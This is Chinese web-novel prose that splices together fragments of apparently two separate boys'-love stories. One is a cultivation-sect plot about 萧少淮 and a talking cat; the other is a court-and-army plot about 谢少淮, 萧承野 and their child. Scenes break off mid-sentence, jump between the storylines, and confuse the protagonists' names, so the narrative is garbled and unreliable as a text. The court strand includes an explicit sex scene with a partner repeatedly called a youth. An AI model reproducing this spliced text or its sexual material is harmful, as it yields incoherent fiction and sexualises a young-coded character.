“那你为什么称松一为师侄?”边叙挡在萧少淮身前,咬牙低声开口。 松一愣了一下。暖阁外,边叙“砰”的一声将门关上。 他脑海中一片混乱,浑浑噩噩地抬脚往外走,刚转过一个拐角,忽然感觉面前多了一人。 紧接着,萧承野微沉的声音传来:“四师兄?” “师弟?” 边叙一时间没有反应过来自己身在何处,倏然抬起头焦急开口:“师弟,大师兄他的记忆到底怎么……” 他话还没说完,便听面前的人皱眉打断他的话。 “四师兄为何在这里?” 边叙愣了一下,后知后觉想起自己来这里的正事。 他闭了闭眼,深吸一口气,从兜里掏出一张薄帖,递了过去:“昨日学堂长老殿那弟子我已审完。” “他虽极力否认此事与长老殿有关,但我在他住处发现了大量沾有魔气的符纸,似是在进行反复演练,同时我还寻到——三长老独发的悬火帖。” 萧承野皱了皱眉。 长老殿三位坐镇长老,每人门下有专门用于差遣办事的三张悬火帖,帖令所指,无论何处,无事不成。 但悬火令不可能只用于学堂里小打小闹般,萧承野抬手将帖子接过,微微翻动了一下:“确认过了?” “已确认,悬火帖为真,上面有三长老特有的灵力印痕。” 边叙迅速开口:“只是还未确认三长老那边,是否有悬火贴发出或遗失。” 他抬头望向萧承野,声音再次压低了几分:“需要我再去查探……” 萧承野微微抬手,止住了他的话。 手指间那薄薄的一贴在烛火下闪烁着点点猩红,萧承野静了几秒,抬头望向边叙。 “多萧四师兄,之后的事不劳费心,四师兄先回去休息……” 他一边说一边侧过身,下一秒却忽然感觉面前横过一只手,紧接着,自家向来木讷迟缓的四师兄,以迅雷不及掩耳的速度拦到他身前。 “等一下——” “师弟,你为何要在你寝殿的密阁内,建一间大师兄曾经的愿曦阁?” ——他从来没见过自家师父在书册之外,露出这么强烈的情绪。 一旁的萧少淮耳边已满是嗡鸣声,过了好半天才听清边叙说了什么。 他几乎已分不清周围是真是幻,静了几秒,忽然低低地笑了一下:“因为我心悦萧承野啊。” 下一刻,松一便看到,自家师父神情间再次浮现出强烈的错愕。 面前传来一声压抑的闷哼,抛下这枚重磅的人却浑不自知,身子晃了晃,在一片碎光间倏然软了下去。 深夜,子时。……萧承野感觉自己一瞬间看遍了民间那些话本子。 边叙自顾自说了一会儿,忽然意识到什么,不可置信地抬眼:“你是在保护他?” 萧承野没有说话,只静静望着他,面沉似水。 边叙又想起了什么,倏然转过头,声音一点点紧绷起来:“之前学堂那个污蔑他的弟子,去哪里了?” 另一边,暖阁内。 樾为之看着床脚的人抱着双膝一动不动坐了许久,终于忍不住跃上床头,轻轻“啧”了一声:“怎么?难过了?” “嗯?” 萧少淮有些恍惚地抬起眼,下意识扯出一个笑意:“我难过什么?” 他垂下眼,轻声开口:“仿制品虽是仿制,倒也挺逼真的……说起来,我应该高兴,当年我所有的东西都在那一场大火里都烧了个干净,也难为萧承野造了这么个所在……” 他嘴上这么说,语气却疏离漠然,连向来萦绕着些许笑意的桃花眼间,都没半分喜色。 “只是他既如此,早去做什么了。” 樾为之一时不言。 萧少淮闭了闭眼,偏头咳了咳,哑着嗓子漫不经心地继续开口:“如今也不知,他建这处到底有什么目的……” 樾为之对萧少淮的过往也大概知晓几分,无声地张了张口,到底也没能说出一字。 他前爪在地上烦躁地扒拉了两下,白猫被他的情绪带动,也“喵呜,喵呜”地呜咽起来。 萧少淮闻声淡淡偏头,下一秒,却看那一团毛球忽得凑到他近前。 樾为之翘起尾巴,俯下身,艰难地用脑袋将萧少淮的手一点点拱开,身子团到他腹间,有些嫌弃地把尾巴一点点缠到了他腕骨上。 萧少淮一愣,神情间终于多了一份讶然:“你……” “别难过。” 樾为之从他怀里仰起头,轻声开口:“为过去的事情难过,不值当的。” 他一边说一边生疏地偏头想去蹭他掌心,却被这白猫会错了意,身子一扭,直接躺了个四脚朝天。 萧少淮没忍住轻笑出声。 樾为之脸上有些发烫,但反正丢的又不是自己的脸,咬了咬牙,到底忍了过去。 他叹了口气,就着这个别扭的姿势,轻声开口:“你想做什么就去做,小淮。” “别怕,有我在你身后。” 萧少淮捏了捏怀里猫咪爪下的肉垫,没有说什么,心情却明显好了几分。 樾为之无声地舒了一口气,又想到什么,警告般开口:“还有,我今日之事,绝不能让第二个人知道……” “好啊,”萧少淮眨了眨眼,忽然弯下腰,笑眯眯凑到他近前,“那作为交换,你再叫一声来听听?” ……樾为之第一次深刻意识到,什么叫一片良心喂了狗。 他瞬间从萧少淮怀里挣脱:“萧宿泱——” “好了,不闹你了。” 萧少淮捂唇咳了咳,重新恢复了一派温然。 他抬起手捏了捏白猫的后脖颈:“帮我一个忙。” “去帮我听听那俩人在说些什么。” 萧少淮是被心口间一阵刺痛扰醒的。 他喉头一阵猩甜,撑起身骤然喷出一口鲜血,才感觉心口的憋闷减轻了些许。 旁边传来一声冷哼,紧接着一个阴阳怪气的声音响起。 “作死的时候怎么不想着现在难受了?” 萧少淮抬起头。 他望着床边正一根根收拾着银针的人,似笑非笑地勾了勾唇。 “你大老远跑来,就是为了训我的樾为之?” 谢少淮看着萧澶,又想起今天早上离开的萧承野。父子二人眉眼之间有八九分相似。他若是把萧澶带走了,萧承野回来之后,一定会很……伤心吧? 可在萧澶一直在西北待着,总归不是长久之计。 谢少淮走过去,俯下身迎接萧澶。萧澶见了青年眼眶倏地就红了,他来之前已经下定决心不和父亲回去了,可是一见到父亲他又犹豫了。 他既舍不得爹爹难过,也不想父亲难过。 “阿澶?”谢少淮看出来了小团子情绪有些不对,他关心问道:“父亲的阿澶怎么了?怎么看起来不太开心呢?” 萧澶闻言没绷住,一头扎进他的怀里哇哇大哭了起来,“父亲……父亲能不能在大营多陪爹爹一段时间啊,阿澶舍不得父亲也舍不得爹爹呜呜呜呜呜~” “父亲,阿澶求你了,再多住一段时间好不好?” 第 77 章 第 77 章 谢少淮看着泪眼婆娑的小团子,心好像是被麻绳捆绑住了一样难受,便顺着他的背尝试着安抚道:“好阿澶,不哭了。” 刘管事和青松看着父子二人这般,眼泪也不自觉地掉下来了。 “阿澶不想离开爹爹,也不想父亲走……”萧澶自会走路了之后就很少哭,因为夫子从小就教导他要做个坚强地男子汉,可是一想到爹爹和父亲又要离开,他就忍不住想要哭了:“父亲阿澶求你了好不好……” 三岁的小萝卜团子,哭起来水灵灵的小脸变得黏糊糊地,小嘴巴也撇着鼻头红彤彤的,声音断断续续话都要说不清楚了。 “好……”谢少淮蹙紧了眉,思忖了少顷,“父亲答应阿澶,再留下来几日,但是阿澶,你爹爹和你舅爷爷马上就要去打匈奴人了,父亲在长安还有好多事情要处理,到时候阿澶必须选择,是要留下来还是要跟父亲走。” 萧澶能揉着眼睛哭,听见父亲说要再留下来几日,他吸了吸小鼻头:“父亲你没骗阿澶吧?” 谢少淮:“父亲以后不会骗阿澶了。” 眼前一阵天旋地转,等萧少淮再回过神时,便发现自己跪坐在冰凉的地上,迟来的疼痛从手掌和四肢蔓延开来。 他平常就怕疼,周身的高热让他的触觉更加倍敏锐起来。 萧少淮疼的眼前发黑,想要撑着站起来,却一时间连骨头缝里都夹着疼。 晚夏的深夜气温已是偏低,青石板上的寒气更是透骨的凉。 萧少淮怔愣地坐在原地,莫名感觉一阵委屈。 萧承野推开门时,看到的便是面前人衣衫不整、眼眶通红地抬头望过来。 萧少淮似乎没有认出他,有些疑惑地歪了歪头,眯了眯眼,忽然绽开一个笑意。 “你是来接我回去的吗,萧承野。” 一阵寒风吹来,面前的人瑟缩了一下,却是冲着萧承野笑着扬起手,眼眶越发通红:“我好冷啊,你能带我回去吗?” 萧承野僵在原地。终灵山,西侧峰,藏书阁。 松一说萧宿泱那几本书都是在他师父的藏书阁里寻到的,萧少淮跟着他七拐八拐,终于来到一座被半挖空的石窟前。 “这是你师父的藏书阁?”萧少淮望着前面小山一般高的石门,忍不住开口。 “对啊,这可是销春尽藏书最全的一座,你等我一下哈” 松一凑到石门前,沿着石门左右张望了一阵,一边在上面敲敲打打,一边小声嘟囔着。 “开山的手势和机关是什么来着的,早知道把我师兄一起叫过来了我记得是先寻生门,生门是” “上乾下离见生门,仙人指路,利涉大川,这两个位置。”旁边的萧少淮忽然开口。 他顶着松一困惑的目光,随手在石门两处点了一下,下一秒,便听浑厚又缓慢的机关枢纽声自转轴处传来。 面前的雕花石门发出一声闷响,石缝逐渐扩大,紧接着,一股厚重的书香气落了满怀。 萧少淮愣了一下,神情间多了几分兴味:“你师父倒有意思,直接拿卦象来当门锁,真是——” 松一好奇回过头,下一秒便听萧少淮懒洋洋开口:“简陋又偷懒。” “狗嘴里吐不出象牙。”松一哼了一声,“这可是我师父亲自设的,有本事你去质疑他啊。” 萧少淮笑眯眯地不说话,他抱起双臂,微微探头往里瞧去。 石窟里面倒不像他想象的那么昏暗,每层书架间都放上了一颗颗拳头大小的夜明珠,泠泠的冷光四两拨千斤地将幽暗的石窟照亮。 萧少淮瞧的新奇,刚准备迈步进去,忽然被松一伸手拦住。 “等一下。”松竹本就紧绷的心神瞬间警铃大作,他下意识抬剑格挡,随之而来的,却是一道笼在眼前的柔光。 松竹一愣。有浓重的乌云慢慢聚拢,遮挡住月色,也遮挡住地面上掠过去的两道身影。 边叙跟在那白猫身后,忍不住再次开口:“宗主没有将大师兄关在禁闭崖底?” 他眉头紧皱:“这不可能,销春尽一应奖惩事务都是由论功堂负责,除了那禁闭崖便再没其他禁闭所在……” “我怎么知道,”白猫前腿一蹬,越过一处矮灌,幽幽开口,“谁知道你们宗主脑子里在想什么。” 边叙皱眉看了他一眼,樾为之感受到他的目光,意识到什么,微微冷笑了一声。 “怎么,你要是还想救萧少淮,别说我对你们宗主大不敬,就算是一会儿我踩在你头上拿你当爬架,你也得忍下来。” 他一边说一边操纵着白猫又跃上殿侧的一个高台,在一处隐秘的暗窗旁停下,尾巴一甩踱了半圈:“到了,就是这里。” 樾为之:…… 萧少淮没忍住直接笑出了声,却又牵动了肺腑旧伤,断断续续地咳了起来。 边叙皱眉回过头。 他现在有满肚子的疑虑想要追问,忽然注意到什么,下意识扫视了一圈周围。 他神色间流露出几分不可置信:“这是……” “嗯?”萧少淮眼前还是有些发晕,模模糊糊看不太清。 他闭上眼,抬手一点点揉着太阳穴,下一刻,却听面前的人低低开口:“这里是大师兄你……从前的愿曦阁。” 萧少淮愣了一下,手指倏然攥紧。 下一秒,一声凄厉的猫叫从怀里传来。 “你大爷的萧少淮,轻点——” 樾为之咬牙抬起头,却看萧少淮似乎并没有听到他的话,而是有些恍然地怔在原地。 “闭眼。” 萧少淮夹杂着咳意的声音从不远处传来,似乎轻笑了一下:“那么一把的符炸都敢直视,眼睛不要了?” 他收回手,身子有些支撑不住地晃了晃,踉跄了一下,重重地靠在了身后的树干上。 眼睛的刺痛随着柔光的消散逐渐缓解,松竹见萧少淮没有再说话,迟疑了一瞬,再次缓缓睁开眼:“你” 他心中的各种疑虑几乎已经到达了顶点,张了张口,却见对面的人晃了晃,身子一软忽然朝地上跪了下去。 离他最近的松一被吓了一跳:“喂,你怎么了?” 他下意识伸手想要撑住旁边的人,面前的人却仿佛浑不受力,脱力地直往下坠。 松一好险不险在最后一刻揽住了他,一起跌坐了下去。 松一急声道:“喂,你醒一醒,你怎么了,不会是晕过去了吧——” 松竹疾步上前,半蹲下握住萧少淮的手腕。 他被皮肤那冰凉的触感冷的皱了皱眉,还没按实,却感觉面前的人轻轻一挣,将手腕倏然藏了回去。 松一拿过一顶灯盏,偏头看了一眼外面的天色,从手中掏出一张羊皮纸来,一边看一边小心翼翼往前走着。 “我师父嗜书如命,每月按照时令、每日按照三色晨昏,在藏书阁里设了机关,本门弟子每月初拿到手令,方可安全进出藏书阁。” 萧少淮若有所思地点了点头,手中掐了个诀,趁着松一转头时迅速翻掌往下一印。 “对了,说起来,你要看那几本药书做什么啊?”走在前面的松一忽然想起什么,好奇转头。 萧少淮刚收回手,闻言愣了一下,随口回道:“身染重病,无药可医,故不愿放过一丝希望。” 松一一时无言:“你要敷衍也敷衍地认真一点吧,之前我给你煎的药你都不喝,像是一心求生的样子吗?” 萧少淮抬头看了他一眼,勾了勾唇,不解释但也不反驳。 松一这几日已基本摸清了他的性格,清楚再追问下去,萧少淮指不定又给他扯什么离谱的答案,撇了撇嘴,重新转过头。 石窟内一时间寂静无声,只剩下两人匆匆的脚步声。 但很快,这种平静就被一阵阵喘息声打破。 “怎么还没有走到吗?” 萧少淮喘了一口气,扶着旁边的书架站定,微微弯下腰。 “都跟你说了,这是销春尽最大的一间藏书阁,不过也快了,往南再走十步,到坎三架后往西行” 松一絮絮叨叨地说了一通,萧少淮在急促的喘息间只记住了“还要走一盏茶的功夫”。 萧少淮顿觉眼前一黑。 他跟着又走了两步,实在忍不住再次扶上旁边的书架,却不小心碰到了一颗夜明珠。 圆滚滚的珠子瞬间往旁边歪斜,萧少淮手忙脚乱地将珠子扶稳,目光不经意落到旁边的书籍上,神情忽然一顿。 “你别乱走啊,这里这么大又满是机关,一会儿你走丢了我可寻你不到。” 松一走了两步听到身后没了动静,不得不重新折返回来。 萧少淮迅速收敛了神色。 他无声地张了张口,忽然听到身后另一段脚步声传来:“师弟,你怎么不进去……” 边叙的声音在看到房间里的一幕时戛然而止。 他蓦然睁大了眼。 谢少淮回来接走萧澶,已经是半个时辰后的事情。 大营军规森严,晚上不能乱走,谢少淮牵着萧澶的手往自己营帐里走,走到一半的时候,萧澶却停了下来,拉着谢少淮的手认真问:“父亲,阿澶今晚想去爹爹的营帐睡,可以吗?” 萧承野不在大营,营帐自然是空着的。 谢少淮没多想,点了点头:“可以。” 青年说罢,便拉着萧澶往萧承野的营帐走。 萧澶乖巧地跟着父亲,心里满足极了,白天舅爷爷说了,爹爹晚上就能回来,若是爹爹回来看的他和父亲都在他营帐里休息,一定会很开心吧? 他明天早上醒了要早早去找皇伯伯,好让爹爹和父亲多相处一会儿! 第 78 章 第 78 章 萧澶年纪还小,进了营帐躺在床上没多大会儿便睡着了。谢少淮哄完孩子让人准备了纸笔,将方才卫岚交代他的事情写了下来。 天气渐渐变热,将士们操练完需要凉茶补充水分,大战开始之前各种药材也要提前准备妥当。他今日本来去卫岚那里是帮他看行军的舆图,恰好军医将需要采买的药材呈上,他便请缨揽下了这件事。 过了亥时,谢少淮放下了笔,这才和衣躺在了早就已经熟睡的萧澶身边。 他没有在萧承野这里睡过,不知怎么地,甫一躺下来总能问到萧承野身上的味道。 睡到半夜,谢少淮觉得身子一沉,尤其是后腰上似乎是被什么东西缠住了,他睡眠浅,便睁开了眸子,结果带着满身血腥味的萧承野不知道什么时候回来了,整个身子压在他身上,大掌顺着他的衣缝紧紧贴着他的后腰揉捏。 “唔……”谢少淮刚想说话,男人粗大的舌头就探了进来,在他上颚一寸寸舔过,又勾着他的舌尖吮吸。 现在寅时,萧承野刚回大营,还没进自己营帐的时候,守夜的守卫军便告诉他,谢少淮没走。 不仅没走,还带着他们的儿子睡在他的床上。 萧承野:“不过阿淮见过了,小王还会射鹰……很多东西。” 谢少淮:“……” 谢少淮靠着浴桶,吁了口气,泡的时间不短了,他将浴布随意丢在水里,抬眸,那双琉璃色的眸子望向榻上还在挥拳的男人:“殿下,帮我将浴布拿过来。” 萧承野:“。” 萧承野热的满头大汗,即便方才已经擦拭过身子,燥意却依旧不去。他抬眸看着还在浴桶里的青年,听话,乖乖从床上下来,顺便拿了感觉的浴布,踌躇走到浴桶边,“阿淮,你真好看。” 青年的肌肤很白,萧承野从未见过这么白的人,室内烛火摇曳,映在浴桶里,随着青年站起身,水珠被扬起,荡起一圈金色的涟漪,却都没拿绸缎般的肌肤惹眼。肉感和骨骼感柔在一起,肩不宽不窄,腰身却窄的出奇,而下面又丰-腴,如绽开的一朵花苞。 谢少淮站起身,抄起萧承野递过来的浴布搭在肩上,随后搭着少年的手从浴桶里走出来,踩在柔软的羊毛毯子上,萧承野像个虔诚的信徒,拿着浴布垫在青年脚下,单膝跪着,帮人擦了擦脚踝上的水珠。 谢少淮垂眸,看着少年微微晃动的发顶,随后手上一松,身上裹着的浴布随即盖在少年脸上,不等人将脸上的浴布扯下来,谢少淮抬脚踩在萧承野的大腿上,蹭了蹭脚上的水珠:“殿下,东西备好了吗?” 萧承野觉得自己要爆炸了,带着湿濡热气的浴布上都是阿淮的味道,大腿上感受到青年身上的热气,他一想接下来要发生什么,就忍不住的想要咽口水,“备好了。” 萧承野将浴布扯下来,擦好青年下肢的水珠,握着那纤细的脚踝轻轻咬上一口:“阿淮的脚好美。” 谢少淮:“……” 谢少淮俯身,推了推萧承野的脑袋,却不想少年像是打开了魔盒,突然握住了他的腰肢站起身来,随后重重地揽着他,托着他往榻上去:“阿淮……” “阿淮,你好香。” 谢少淮失重,眼前一阵头晕目眩,待他反应过来的时候,少年已经将他压在了软被上,毛茸茸的脑袋紧接着就蹭了上来,“哪里都香的。” 谢少淮:“……” 谢少淮推着少年的额,“殿下别咬了,把膏腴拿过来。” 萧承野被青年推搡着脑袋,想吃的东西吃不到嘴里,这才清醒了过来,他垂眸看着身下无一物遮盖的青年,滚了滚喉,随即掀开枕头,将准备好的东西拿了出来:“都,都在这里了。” 即便是看过很多次春宫图,但见了那物件的时候谢少淮还是有些发怵,箭在弦上他也不得反悔,只好清清楚楚的感受着萧承野打开那瓶膏腴,听着双手抠挖膏腴发出来的咕叽声…… 不知道过了多久,少年才俯身过来,先是吻了吻谢少淮的眼皮,随后小声问他:“阿淮,这样还可以吗?” 谢少淮僵硬地点了点头,却措不及防,身子一弓,“慢慢来……” 萧承野自认还是很有耐心的,他见身下青年眉心紧蹙,心疼的要揪住,便没敢再动作:“好。” 前半夜谢少淮不知自己是如何过去的,即便是循序渐进,但真的真刀真枪的上来,他似乎觉得在某个瞬间自己破碎掉了,视野不断在起伏颠簸,被侵占的滋味与想象中完全不同,似乎是身体被迫在与另一具身体融合——分开——再融合。 寅时三刻,榻上浪潮褪去,淫靡的味道却久久不散。 谢少淮睡过去一遭,再醒来的时候却先感受到了身边的萧承野,他甫一动了动自己的腰,少年就从背后贴了上来:“阿淮,你醒了。” 谢少淮捏了捏眉心,绯红的眼角微微肿着,似乎是方才被泪渍的:“几时了?” 萧承野舔着青年的后颈,喃喃道:“约是寅时。” 谢少淮:“……” 谢少淮受不住,夹着腿挣脱开来,少年顺势就要追上来,他有些恼怒地道了一句:“殿下,多了伤身……” 说罢,谢少淮长吁了口气,咕哝道:“……出去。” 萧承野不敢妄动了,他从被子里翻身,换到谢少淮对面的位置,看着青年紧蹙眉心双眸微阖,唇被自己咬的通红,脸颊上黏着碎发,整个人像是受过极刑一般,“对不起阿淮……小王是不是太没规矩了。” 萧承野:“对不起,阿淮。” 谢少淮没一点力气和萧承野掰扯,不搭理他,少顷他便感觉脸颊上滴下来几颗泪珠,热热的,睁开眼来,果然,少年双臂撑着他头两侧,眼眸通红,眼泪吧嗒吧嗒掉在他脸上。 谢少淮:“……” 谢少淮抬手擦了擦少年的眼泪,疑问:“好端端的,殿下哭什么?” 萧承野滚了滚喉,垂眸,小声道歉:“对不起阿淮,方才做到一半阿淮说困了,小王以为是还能做,便又做了,是不是很累了?身子可难受吗?” 谢少淮方才……樾为之没好气地瞪了萧少淮一眼,爪子在床上扒拉了两下,到底也正色起来。 “我的灵气锁魂马上就要结束了,可能只能再维持一会儿,你一会儿注意一下。” 萧少淮托着下巴笑眯眯地点头,樾为之也不再浪费时间,从床头一跃而下,扭着尾巴往前走了两步,忽然又想到了什么,重新转过头抖了抖耳朵。 “让这猫之后留下来陪你吧,反正也在边叙那过了明路,”樾为之想到了什么,嗤笑一声,“边叙若还以为他是借尸还魂,多少也能对你有些忌惮。” 萧少淮愣了一下,哭笑不得地试图抗议:“不用,这猫留在这还得我照顾他……” “你想什么呢,”樾为之冷笑一声打断他的话,“留他在这里就是为了下次你再作死的时候能知会我一声。” ……萧少淮无辜地眨了眨眼。 “还你照顾他,他照顾你别把自己搞死了还差不多。” 萧少淮讨好般弯了弯眼,下一秒便看着樾为之如往常般鄙夷地瞪了他一眼,甩着尾巴,雄赳赳气昂昂地——扑腾了出去。 另一边,暖阁外。 “我当时询问完,便将那弟子交还给论功堂,带去禁闭崖;但来之前我又去查了一下,禁闭崖此时空无一人,甚至论功堂的审讯记录上也没有他的名字——” “我原以为是幕后之人为掩人耳目将人带走,但实际上——是你做的吧。” 边叙低低开口:“是你后来又将他带走了。” 他上前一步,声音压得极紧:“你表面将师兄与那弟子一同关了禁闭,实际上不过是为了将两人分开,将萧少淮保护起来,同时又能最快速地对那弟子进行审讯,得出结果。” 他抑制情毒的药只喝了一半,虽然疲倦,但是身子却是十分舒爽的,方才他并未阻止少年,也算默许了他的行为。 “没事。”谢少淮阖眸,勾着少年的脖颈,淡淡道:“方才只是困了,眼下休息过来了,殿下还想要吗?” 萧承野把情绪压下来,单手将谢少淮圈在怀里,吻了吻他的鬓角:“阿淮,你不生气就好,以后你让做小王便做,不说小王便不再妄动。” 萧承野:“对不起,让你受苦了。” 谢少淮累极了,不想说话,懊恼了一会儿的少年硌着他,实在不舒服,他便推了推男人的胸膛,枕着他的肩:“人生乐事,谈何苦,累了正常,殿下精力旺盛……何须自责。” 说罢,谢少淮蹙着眉,贴着萧承野的胸膛淡淡道:“总之,别哭。” “嗯……”萧承野点了点头,抱着青年休息了一会儿,“小王就是心疼阿淮,是小王太孟浪了。” 谢少淮说的累,睁开眼,看着少年,又想起自己的避子汤还没服,便挣扎着起身,萧承野也随着他一起起来,两人身上的被子被掀开,斗志昂扬的东西让人不禁有些烦躁。 谢少淮使唤萧承野把凉透的药端了过来,少年便光着下去拿药,回来的时候还有些不好意思,微微错过去脸,不敢看谢少淮:“阿淮,这药都凉了。” 谢少淮将药喝完,“没事,补药性热,凉了也无碍。” 吃完药,谢少淮这才放心下来,一碗凉水下腹,神志也跟着清晰了不少,少年将药丸放回小几上,又上了他的床,精气神儿十足地看着他:“那,那阿淮休息吗?” 谢少淮垂眸,看着少年下盘,淡淡道:“好丑的东西。” 萧承野:“。” 脸一红,俯身跑到谢少淮身边,从背后抱着青年,蹭着他的耳垂:“阿淮的秀气,小王的丑,这丑东西能让阿淮开心吗?” 谢少淮:“……” 认真评价:“尚可。” 感觉青年似乎似不困了,萧承野的胆子这才大了点,一把将人抱在自己腿上,蹭着他的后背,乖巧地问他:“那阿淮,我们能再来一次吗?就最后一次,好不好?” 谢少淮:“……” 第二次的体验似乎没那么差……不对,肯定不是第二次了,他睡着的时候萧承野应该一直没有休息,不过确实顺利很多。 谢少淮完全沉下身子,头轻轻靠在男人肩头,掌控着:“不许太快。” 萧承野贴着青年的耳垂,大手可以肆无忌惮,如此他已然满足,“都听阿淮的。” “这次我们驾车去,下官驾车王爷休息便是,”谢少淮走到萧承野身边,在塌边上坐下:“不会累的,且我有事想和你说。” “很重要。” 萧承野垂了垂睫,目光落在谢少淮身上:“几时走?” 谢少淮:“我将阿澶送去舅舅营帐了,王爷吃些东西,稍微休息一下就走,早些过去也能早些办事。” “本王不饿,”萧承野滚了滚喉,倏地俯身靠近谢少淮,在他唇上啄了一下,然后勾着他的衣带:“大人既然有求本王,那甜头也要给够才行。” 萧承野亲昵地蹭了蹭谢少淮的鼻尖:“大人,给吗?” 谢少淮不快地点了点头:“知道了。” 即便嘴上答应了,可他心里还是觉得萧承野这样直接说出来实在……有辱斯文。 第 79 章 第 79 章 一天后,宴州城。 正直午时,太阳毒辣,谢少淮一袭棉麻素衣头上带着帷帽,和从大营一起出来的军医在城中的药铺采买药材。药材是提前好几个月就已经订好的,查看完之后没有问题便能将药材装车秘密运回大营。 事情办妥之后,谢少淮和萧承野带着几位军医在城里吃了个饭。 吃完饭几人准备回大营,谢少淮另有打算,便向几个军医作别:“诸位兄台一会儿吃完便先行回去吧,本官还有些事情要和小将军一起办。” “好,”其中一人拍了拍胸脯:“大人放心就是,小的就是命没了,也不能让这些药材出事。” “谢少淮:“劳烦诸位了。” 从宴州城到大营的距离不远,也不出大周国境,不会有匈奴人,而且他们这次出行带了不少精锐,基本不会出问题。 萧承野心情不错,中午吃了两碗汤饼,谢少淮和随行的军医告别之后,便示意他往街上走。 萧承野今日穿了一身缎子,九头身加上一张上乘的容貌,走在宴州城内还是十分吸睛的,他们人对此也颇为满意,嘴角昂扬:“大人要带本王去哪里?” 谢少淮放缓了步子,掀起帷帽,微微蹙眉看了一眼身后的萧承野:“王爷跟着走就是了。” “嗯,”萧承野点了点头,随后大步跟上,倏地握住了青年的手:“走吧。” 谢少淮:“……” 萧承野本以为谢少淮要带他去街上闲逛,临走之前给家里买些特产,结果谢少淮牵着他的手,买了一坛黄酒,二两牛肉,然后走进了一家客栈。 跟着青年走进房间的时候,萧承野还是没猜透他的心思。 谢少淮进了房间后将帷帽摘了下来,随后便将买来的酒肉摆放在桌子上,还特意上小二又准备了一些时令菜。 谢少淮起身,收回思绪,将伞撑过少年的头,淡淡道:“陛下有事召见,殿下还是先收拾一下,随下官面圣吧。” 两人撑着伞,去长乐宫外的小殿换了一身干净的官服。 萧承野顶着半干的脑袋进长乐宫面圣,谢少淮则带着自己的治安方策去了丞相府。 萧承野进殿的时候,建宁帝刚吃了午膳在殿内休息。 见萧承野进来,青年天子现实挑了挑眉梢,看了眼满身颓气的少年,咂舌道:“朕已经将谢卿许你,这么大的喜事,怎么还愁眉苦脸的?” 萧承野闻言,眉眼垂下,“臣弟不敢。” 萧承野在琢州长大和建宁帝交情并不深,他也不信奉儒家做派,不喜那些需的,只是保持该有的作为臣子的本分。 “罢了,”建宁帝见少年心情不好,索性直接直说了:“你私下招安琢州内地的起义军之事朕已经听母后说过了,本该定你谋反之罪,但朕念手足之情再饶你一次。” 说罢,建宁帝示意萧承野上前:“过来,朕有要事与你商议。” 萧承野蹙眉上前,在天子的书案前停下,俯身行礼:“皇兄?” 建宁帝支颌,“西北边境有小规模的叛乱,起义军规模不大,不足五万人,大多都是没有铁器的百姓,这些人和主力部队不一样,若是能招安最好不过。” 建宁帝:“你自小在琢州长大,了解民风,待他日你成婚后,朕封你为大将军,你去帮朕把这件事办了如何?” 萧承野简直不敢相信这句话是从青年太子口中说出来的。前小月余,他多次进宫和天子说起这件事,更是举荐了破玄和谢太尉前去镇压,但一一被男人拒绝——萧承野错愕地抬眸看着龙椅上的男人。 萧承野:“皇兄,这是让臣弟带兵回琢州去?” “呃,”建宁帝闻言有些尴尬:“兵没有,不过朕可以给你一千人派送你回去,等你回去之后,找卫将军借。” 少年闻言,本如雾霭笼罩的眸子似被水洗过,他直接抬眸看去,滑了滑喉:“臣弟……” 若回涿州,一去一回少说要月余时间,且不说要与阿淮两地分居,阿淮身上还有情毒未解开,他们还没生孩子……可,那可是他梦寐以求的机会,能上阵杀敌的好机会。 萧承野的母妃被匈奴人杀害,若是能解决周琢州起义军的招安,那这支军队为他所用,他日涿州铁骑踏平漠外,就是他为母亲报仇、为大周效力的好机会。 少年心动了。 建宁帝一眼便看穿了少年人的心思,他慵懒地靠着龙椅,似乎胜券在握:“怎么样?” 却见少年的头似拨浪鼓摇了起来:“皇兄,臣弟舍不得阿淮,这件事能不能再等等?” 建宁帝:“。” 建宁帝一拍脑门:“罢了,朕给你两个月的时间,回去好好想想,若你不做,这件事朕便交给其他人了。” 谢少淮从丞相府回家,路过闹市,心情不错便带着青松下了马,步行在闹市里穿行。 天子大赦天下,长安城内热热闹闹办了场祭天大典,天子还拨款在长安城内建设府学,给长安城内六岁以上弱冠以下的少男少女办官办的学堂。即便是学堂刚刚开始动工,百姓们喜悦还是肉眼可见的。 集市上的人比往常多了三倍还不止。 谢家这几个月来一直处于低压状态,青松也好久没心情上街了,他跟着青年身后,乐呵呵地看着热闹的集市:“公子,桥边的馄饨小铺又开张了!” “公子您是不知道,这家小铺咱们三公子曾给他写过店名呢,”青松唏嘘道:“自打……反正就是打五公子被罢职后,他家就再也不敢开门了。” 谢少淮闻言,并无情绪波动。朝堂上的局势波动,五品士大夫亦对谢家避之不及,更何况这种做小本生意的寻常百姓? 大概是谁也没想到谢家竟然还能打一场翻身仗?甚至连谢少淮自己都没想到。这一局不是他赢了,是上天眷顾,建宁帝在这个关键时候病好了。 他不过险胜,但周氏并未输。 青年一袭长衫,纤尘不染,帷帽下的唇瓣轻启,“那处是卖什么的?” 中午刚下了一场春雨,整个集市上充斥着新鲜的泥土味儿。 青松大口吸了口气,朝着谢少淮指着的方向看去,“哦,那是贩卖一些弯刀匕首的小摊,不是铁做的,是一些锋利的石头做的,玩玩还行,伤不了人。” 大周朝的盐铁只有官府可以贩卖,匕首弯刀都是兵器,民间自然不能买卖。 青松一席话让谢少淮来了兴趣。两人朝着那小摊子走去,最后挑了一把黑曜石雕刻出、不过巴掌大的小玩意儿。 买了东西,经过闹市,青松架着马车突然问:“公子,咱们今天去王府住还是回家住。” 谢少淮:“……” 谢家和梁王的婚事现在闹得整个长安人尽皆知。谢少淮虽不满,但也不能违抗皇命。自那日从长乐宫离开,他便再没去过梁王府。 青松说罢,见他家公子没说话,便打圆场:“夫人说今日要做红烧肉……” “去王府吧。”谢少淮的指腹轻轻抚过方才买来的小玩意。 买都买了。 午门外,谢少淮被一行禁卫军押着,往长乐宫的方向去。 要说这事儿也稀奇,前头谢家一老一小刚被陛下召见进宫,后脚这个传闻中少年神童,梁王师保的谢六郎就抬着一口棺材进了宫。 领队的禁军头子边走,便看着身后一袭白的青年,咂舌道:“陛下身子刚刚好转,这么好的日子,谢大人为何想不开要做这档子事儿?” “难不成你送上一纸书信,明天我大周朝的起义军和外头的匈奴人都被平息了?” 谢少淮抿唇不语,事已至此他没什么好说的,只盼今日能救下父亲和兄长。 叫美人不搭理自己,那禁军头子吹了口口哨,也不再多说,“可惜了。” 不多时,谢少淮和自己从城内买来的棺材一起被押到了长乐宫外。 萧承野闯进宫濑,见不到建宁帝,跪在宫殿外的石阶上。谢少淮被甫一押过去,少年便看到了,干涩的唇瓣碰到一起:“阿淮?” 